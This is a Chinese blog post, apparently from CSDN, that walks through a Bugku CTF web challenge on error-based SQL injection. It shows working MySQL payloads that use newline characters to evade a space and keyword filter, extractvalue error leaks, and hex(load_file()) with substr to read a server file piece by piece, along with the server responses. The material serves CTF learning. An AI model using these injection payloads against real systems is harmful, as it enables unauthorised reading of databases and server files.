

Bugku ctf writeup--web篇--报错注入

原创

<darkeye> 于 2018-03-31 10:17:04 发布 1182 收藏

分类专栏: [CTF](#) 文章标签: [writeups](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_33417843/article/details/79766318

版权



[CTF 专栏收录该内容](#)

3 篇文章 0 订阅

订阅专栏

报错注入 200

<http://103.238.227.13:10088/>

FLAG格式 Flag:""

Flag	<input type="text" value="https://blog.csdn.net/qq_33417843"/>	Submit
------	--	--------

Step1:利用 extractvalue 进行报错

根据题目提示, 不允许包含"--", 空格, 单引号, 双引号, "union"关键字

需要自己测试绕过过滤, 对空格进行十六进制编码也无法绕过

但是MySQL中换行符可以代替空格

对换行符进行十六进制编码是%0A, 所以这里我们构造语句:

```
?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0a@@@version),0x7e))
```

③ 103.238.227.13:10088/?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0a@@@version),0x7e))

SQL注入测试

访问参数为: ?id=x
不允许包含"--", 空格, 单引号, 双引号, "union"关键字
查询文件中包含"" (双引号) 里面的内容, 需要查询的文件路径为: /var/test/key_1.php

当前结果:

XPATH syntax error: '-~5.5.48-log~' https://blog.csdn.net/qq_33417843

Step2: 查询文件内容

根据提示, 需要读取文件, 这里也将文件路径进行十六进制编码

```
/var/test/key_1.php
```

16进制转字符

字符转16进制

清空结果

```
2f7661722f746573742f6b65795f312e706870
```

然后进行文件读取操作，构造如下语句

```
?id=1%0Aand%0a(extractvalue(1,concat(0x7e,  
(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e)))
```

```
103.238.227.13:10088/?id=1%0Aand%0a(extractvalue(1,concat(0x7e,(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e)))
```

SQL注入测试

访问参数为：?id=x

不允许包含"--"，空格，单引号，双引号，“union”关键字

查询文件中包含“（双引号）里面的内容，需要查询的文件路径为：/var/test/key_1.php

当前结果：

```
XPATH syntax error: '~3C3F706870206664736166617366647'
```

可以看到已经读取内容，进行十六进制解码

```
3C3F706870206664736166617366647
```

16进制转字符

字符转16进制

清空结果

```
<?php fdsafasfd
```

发现只读取了文件的开头部分，这是因为extractvalue函数只能读取32位
包括前面的~

Step3: substr()函数按偏移量读取

想到用substr函数来分段读取内容，然后再进行解码

构造语句，每次读取30位(加上前后2个~，刚好32位)

?

```
id=1%0Aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30),0x7e)))
```

```
103.238.227.13:10088/?id=1%0Aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30),0x7e)))
```

SQL注入测试

访问参数为：?id=x

不允许包含"--"，空格，单引号，双引号，“union”关键字

查询文件中包含“（双引号）里面的内容，需要查询的文件路径为：/var/test/key_1.php

当前结果：

```
XPATH syntax error: '~3C3F706870206664736166617366647~'
```

https://blog.csdn.net/qq_33417843

解码得到

3C3F70687020666473616661736664

16进制转字符 字符转16进制 清空结果

<?php.fdsafasfdog.csdn.net/qq_33417843

继续读取后面30位，以此类推，直到读完文件所有内容

?

id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30),0x7e)))

103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30),0x7e)))

SQL注入测试

访问参数为：?id=x

不允许包含“-”，空格，单引号，双引号，“union”关键字

查询文件中包含“”（双引号）里面的内容，需要查询的文件路径为：/var/test/key_1.php

当前结果：

XPATH syntax error: '~736166696473616664736169666473~'

https://blog.csdn.net/qq_33417843

16进制到文本字符串的转换，在线实时转换

16进制到文本字符串的转换，在线实时转换（支持中文转换）

736166696473616664736169666473

16进制转字符 字符转16进制 清空结果

safidsafdsafids://blog.csdn.net/qq_33417843

不一一截图，自己尝试

103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),271,30),0x7e)))

SQL注入测试

访问参数为：?id=x

不允许包含“-”，空格，单引号，双引号，“union”关键字

查询文件中包含“”（双引号）里面的内容，需要查询的文件路径为：/var/test/key_1.php

当前结果：

XPATH syntax error: '~66647361666473616661203F3E0A~'

https://blog.csdn.net/qq_33417843

16进制到文本字符串的转换，在线实时转换

16进制到文本字符串的转换，在线实时转换（支持中文转换）

66647361666473616661203F3E0A

16进制转字符 字符转16进制 清空结果

fdsafdsafa?>//blog.csdn.net/qq_33417843

最后合并所有内容可以看到flag

```
<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafkdsa;fdsafdsafsdafdsafas0hfdsg9  
Flag:"  
fsdafsafdsafdsafdsafa ?> https://blog.csdn.net/qq_33417843
```